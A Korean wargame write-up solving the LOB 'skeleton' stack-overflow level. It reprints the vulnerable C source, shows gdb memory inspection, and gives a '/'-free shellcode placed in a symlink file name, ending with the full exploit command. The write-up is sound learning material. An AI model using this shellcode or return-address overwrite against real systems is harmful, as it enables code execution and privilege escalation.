[LOB] vampire
vampire로 로그인하면 skeleton이라는 문제가 나온다.
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i, saved_argc;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
// argc saver
saved_argc = argc;
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// ultra argv hunter!
for(i=0; i<saved_argc; i++)
memset(argv[i], 0, strlen(argv[i]));
}
코드를 확인하면,
1. 인자개수 제한 없음
2. environ 환경변수를 가리키는 포인터로 환경변수를 0으로 설정
☞ 환경변수에 쉘을 넣고 문제를 푸는 거 불가
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
3. if(argv[1][47]!='\xbf')에서 48bytes째에서 입력 인자가 '\xbf'가 되어야 한다.
4. if(strlen(argv[1]) > 48)에서 두 번째 인자값이 48bytes이상이 되면 안 된다.
5. 인자의 개수를 저장
// argc saver
saved_argc = argc;
☞ 이 부분이 이문제에서 새로 추가된 부분이다.
6. strcpy(buffer, argv[1]);에서 인자 길이를 지정하지 않아서 버퍼오버플로우 공격이 가능하다.
7. buffer를 40bytes까지 0으로 설정이 된다.
// buffer hunter
memset(buffer, 0, 40);
8. 몇개의 인자를 주든지 모두 0으로 초기화가 됨.
// ultra argv hunter!
for(i=0; i<saved_argc; i++)
memset(argv[i], 0, strlen(argv[i]));
☞ 이 부분이 이문제에서 새로 추가된 부분이다.
위의 코드를 통해서 입력값제한, 환경변수, 인자값 초기화, 버퍼 초기화가 이루어진다.
여기서 어떻게 풀어야 하는지 몰라서 다른 사람들이 푼 걸 보았는데, 메모리에 남아 있는 것을 확인해 봐야 한다고 한다.(초기화되지 않는 값들이 있는지)
(gdb) b *main+364
(gdb) r `python -c 'print "A"*44+"\xec\x75\xfe\xbf"'`
(gdb) x/1000s $esp
gdb 는 x 명령어를 사용해 메모리를 조사할 수 있다.
옵션으로는
o : 8진법으로 보여줌
x : 16진법으로 보여줌
u : 10진법으로 보여줌
t : 2진법으로 보여줌
b : 1 byte 단위로 보여줌(byte)
h : 2 byte 단위로 보여줌(half word)
w: 4 byte 단위로 보여줌(word) - 난 2byte로 알고 있지만 여기선 4바이트로 쓰이나 보다....
g : 8 byte 단위로 보여줌(giant)
i : 역어셈블된 명령어의 명령 메모리를 볼 수 있음
c : ASCII 표의 바이트를 자동으로 볼 수 있다.
s : 문자 데이터의 전체 문자열을 보여준다.
파일 이름은 그대로 남아 있는 것을 확인할 수 있다.
1. 파일이름을 NOP + shellcode로 저장 → 혹시 변수가 발생할 수 있으니까 ln -s 이용
2. RET값을 파일이름이 남아 있는 메모리 주소로 설정
1. ln -s skeleton 파일명[NOP + shellcode +NOP] 만들기
* 이때 쉘코드는 \x2f가 포함되면 안 됨 > 파일명으로 설정 시 '/'으로 인식하기 때문! 그래서 \x2f가 들어있지 않은 쉘코드를 사용했음.
ln -s skeleton `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100'`
쉘코드 뒤에 값을 더주어야 한다! NOP + shellcode로 문제를 풀어 보았는데 아무리 메모리값에 맞아도 설정해도 Segmentation Fault가 나면서 bof가 되지 나서 인터넷에서 확인한 결과 쉘코드가 함수 끝과 가까우면 실행이 안될 수도 있다고 한다!
2. gdb로 분석
1) 변수가 어떻게 할당되었는지 확인
sub $0x30, %esp > 48bytes 할당 / 변수 buffer 40bytes + i 4bytes + saved_argc 4bytes
2) 파일이름이 저장된 위치 확인
인자값 : `python -c 'print "A"*44+"\x40\xfb\xff\xbf"'` 으로 대충 주어서 확인
☞ 파일명의 시작이 0xbffffef5이다.
/tmp/skeleton에서 파일을 실행했으면 dump된 core파일 확인이 가능하다.
core에서 해당 주소 주변을 보게 되면,
$ gdb -q -c core
(gdb) x/100x 0xbffffef5
쉘코드 위에 0x90이 있는 아무 곳이나 지정을 하면 된다.
→ 0xbfffff05로 설정
인자값 : `python -c 'print "A"*44+"\x05\xff\xff\xbf"'`
최종 :
./`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100'` `python -c 'print "A"*44+"\x01\xff\xff\xbf"'`
성공!